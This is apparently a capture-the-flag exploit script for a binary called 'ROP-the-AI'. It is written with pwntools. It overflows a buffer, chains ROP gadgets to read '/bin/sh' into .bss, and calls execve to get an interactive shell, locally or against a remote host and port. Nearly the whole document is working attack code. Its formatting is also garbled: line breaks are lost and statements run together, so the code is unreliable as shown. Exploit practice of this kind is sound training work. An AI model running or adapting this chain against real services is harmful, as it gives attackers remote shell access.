Exploit script:
```pyfrom pwn import *
def start(argv = [], *a, **kw):  if args.GDB:    return gdb.debug([exe] + argv, gdbscript = gdbscript, *a, **kw)  elif args.REMOTE:    return remote(sys.argv[1], sys.argv[2], *a, **kw)  else:    return process([exe] + argv, *a, **kw)
gdbscript = '''break *vulninit-pwndbgcontinue'''.format(**locals())
exe = './ROP-the-AI'elf = context.binary = ELF(exe, checksec = False)rop = ROP(elf)context.log_level = 'info'
io = start()
ret = rop.find_gadget(['ret'])[0]pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]pop_rax_ret = rop.find_gadget(['pop rax', 'ret'])[0]pop_rsi_pop_r15_ret = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]pop_rdx_ret = rop.find_gadget(['pop rdx', 'ret'])[0]syscall_ret = rop.find_gadget(['syscall', 'ret'])[0]
payload = flat([  b'A' * 120,  ret,  pop_rdi_ret,  elf.bss(),  elf.symbols['gets'],  pop_rax_ret,  0x3b,  pop_rdi_ret,  elf.bss(),  pop_rsi_pop_r15_ret,  0,  b'pwnisfun',  pop_rdx_ret,  0,  syscall_ret])
print(io.recv().decode())io.sendline(payload)io.sendline(b'/bin/sh\x00')
io.interactive()```